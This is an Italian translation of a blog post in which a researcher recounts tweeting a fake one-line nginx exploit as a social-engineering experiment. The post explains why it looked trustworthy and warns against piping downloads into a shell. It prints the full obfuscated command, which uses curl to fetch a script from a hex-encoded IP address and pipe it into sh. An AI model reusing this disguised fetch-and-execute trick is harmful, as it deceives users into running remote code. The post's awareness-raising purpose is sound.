{"id":35126,"date":"2019-10-31T22:02:28","date_gmt":"2019-10-31T19:02:28","guid":{"rendered":"https:\/\/prohoster.info\/blog\/uspeh-sotsialnogo-eksperimenta-s-poddelnym-eksplojtom-dlya-nginx\/"},"modified":"2019-10-31T22:02:28","modified_gmt":"2019-10-31T19:02:28","slug":"uspeh-sotsialnogo-eksperimenta-s-poddelnym-eksplojtom-dlya-nginx","status":"publish","type":"post","link":"https:\/\/prohoster.info\/it\/blog\/administrirovanie\/uspeh-sotsialnogo-eksperimenta-s-poddelnym-eksplojtom-dlya-nginx","title":{"rendered":"Il successo dell'esperimento sociale con un exploit falso per nginx","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

Nota del traduttore.<\/b>: Autore<\/a><\/noindex> della nota originale pubblicata il 1 giugno, ha deciso di condurre un esperimento tra coloro che sono interessati alla sicurezza informatica. A tal fine, ha preparato un falso exploit per una vulnerabilit\u00e0 non divulgata in un server web e lo ha pubblicato su Twitter. Le sue supposizioni - essere immediatamente smascherato da esperti che avrebbero visto l'evidente inganno nel codice - non solo non si sono avverate... Ma hanno superato tutte le aspettative, anzi: il tweet ha ricevuto un enorme supporto da numerose persone che non hanno controllato il suo contenuto.<\/i><\/p>\n

\"Il
\n
\nTL;DR: non usare mai la pipeline di file in sh o bash. \u00c8 un ottimo modo per perdere il controllo del computer.<\/b><\/a><\/noindex><\/p>\n

Voglio condividere con voi una piccola storia su un divertente PoC exploit, creato il 31 maggio. \u00c8 emerso rapidamente in risposta alla notizia di Alisa Esage Shevchenko<\/a><\/noindex>, membro Zero Day Initiative<\/a><\/noindex> (ZDI), riguardo la prossima divulgazione di informazioni su una vulnerabilit\u00e0 in NGINX che porta a RCE (esecuzione remota del codice). Poich\u00e9 NGINX \u00e8 alla base di molti siti web, la notizia avrebbe dovuto avere un effetto esplosivo. Ma a causa dei ritardi nel processo di \"divulgazione responsabile\" delle informazioni, i dettagli di quanto accaduto non erano noti - questa \u00e8 la procedura standard di ZDI.<\/p>\n

\"Il
\nTweet<\/a><\/noindex> sulla divulgazione della vulnerabilit\u00e0 in NGINX<\/i><\/p>\n

Finito di lavorare su una nuova tecnica di offuscamento in curl, ho citato il tweet originale e \"ho rilasciato un PoC funzionante\" composto da una sola riga di codice, che presumibilmente utilizza la vulnerabilit\u00e0 scoperta. Naturalmente, era una totale sciocchezza. Pensavo di essere subito smascherato, e che nel migliore dei casi avrei ricevuto un paio di retweet (va bene cos\u00ec).<\/p>\n

\"Il
\nTweet<\/a><\/noindex> con l'exploit falso<\/i><\/p>\n

Tuttavia, non potevo immaginare quello che sarebbe successo dopo. La popolarit\u00e0 del mio tweet \u00e8 schizzata alle stelle. \u00c8 sorprendente, ma al momento (15:00 MSK del 1 giugno) pochissime persone hanno capito che si trattava di una bufala. Molti lo ritwittano senza verificarne il contenuto (per non parlare di ammirare la bellissima grafica ASCII che produce).<\/p>\n

\"Il
\nGuardate che bellezza!<\/i><\/p>\n

Anche se tutti questi cicli e colori sono fantastici, \u00e8 chiaro che per vederli le persone dovevano eseguire il codice sulla propria macchina. Fortunatamente, i browser funzionano in modo simile, e dato che non ho bisogno di problemi legali, il codice nascosto nel mio sito effettuava semplicemente chiamate echo, senza tentare di installare o eseguire alcun codice aggiuntivo.<\/p>\n

Una piccola digressione: netspooky<\/a><\/noindex>, dnz<\/a><\/noindex>, io e altri ragazzi del team Thugcrowd<\/a><\/noindex> stiamo gi\u00e0 giocando da un po' con vari modi di offuscare i comandi curl, perch\u00e9 \u00e8 divertente... e siamo geek. Netspooky e dnz hanno scoperto alcuni nuovi metodi che mi sono sembrati estremamente promettenti. Ho deciso di unirsi al divertimento e ho provato ad aggiungere conversioni IP decimali a un set di trucchi. Si \u00e8 scoperto che l'IP pu\u00f2 anche essere convertito in formato esadecimale. Inoltre, curl e la maggior parte degli altri strumenti NIX mangiano volentieri gli IP esadecimali! Cos\u00ec, era solo necessario creare una riga di comando convincente e che sembrasse sicura. Alla fine mi sono fermato su questa:<\/p>\n

curl -gsS https:\/\/127.0.0.1-OR-VICTIM-SERVER:443\/..\/..\/..\/%00\/nginx-handler?\/usr\/lib\/nginx\/modules\/ngx_stream_module.so:127.0.0.1:80:\/bin\/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc \/dev\/tcp\/localhost<\/code><\/pre>\n
<\/p>\n
Ingegneria socio-elettronica (S.E.E.) - pi\u00f9 di un semplice phishing<\/h2>\n
\nLa sicurezza e la familiarit\u00e0 sono state parte fondamentale di questo esperimento. Penso che siano stati proprio questi a condurne il successo. La riga di comando implicava chiaramente sicurezza, riferendosi a \"127.0.0.1\" (il noto localhost). Si ritiene che il localhost sia sicuro e che i dati l\u00ec non lascino mai il proprio computer.<\/p>\n
La familiarit\u00e0 \u00e8 stata il secondo componente chiave dell'esperimento S.E.E. Poich\u00e9 il pubblico target era per lo pi\u00f9 composto da persone che conoscevano le basi della sicurezza informatica, era importante creare un codice le cui parti apparissero familiari e, quindi, sicure. Prendere in prestito elementi di vecchie concezioni di exploit e combinarli in modo inusuale si \u00e8 rivelato piuttosto efficace.<\/p>\n
Di seguito \u00e8 fornita un'analisi dettagliata della riga di codice. Tutto in questo elenco \u00e8 di natura cosmetica<\/b>, e per il suo effettivo funzionamento non \u00e8 richiesta praticamente nulla.<\/i><\/p>\n
Quali componenti sono realmente necessari? Essi sono -gsS<\/code>, -O 0x0238f06a<\/code>, |sh<\/code> e il server web stesso. Il server web non conteneva istruzioni dannose, ma trasmetteva semplicemente grafica ASCII tramite comandi echo<\/code> nello script presente in index.html<\/code>. Quando l'utente digitava una stringa con |sh<\/code> nel mezzo, index.html<\/code> veniva scaricato ed eseguito. Fortunatamente, i custodi del server web non avevano cattive intenzioni.<\/p>\n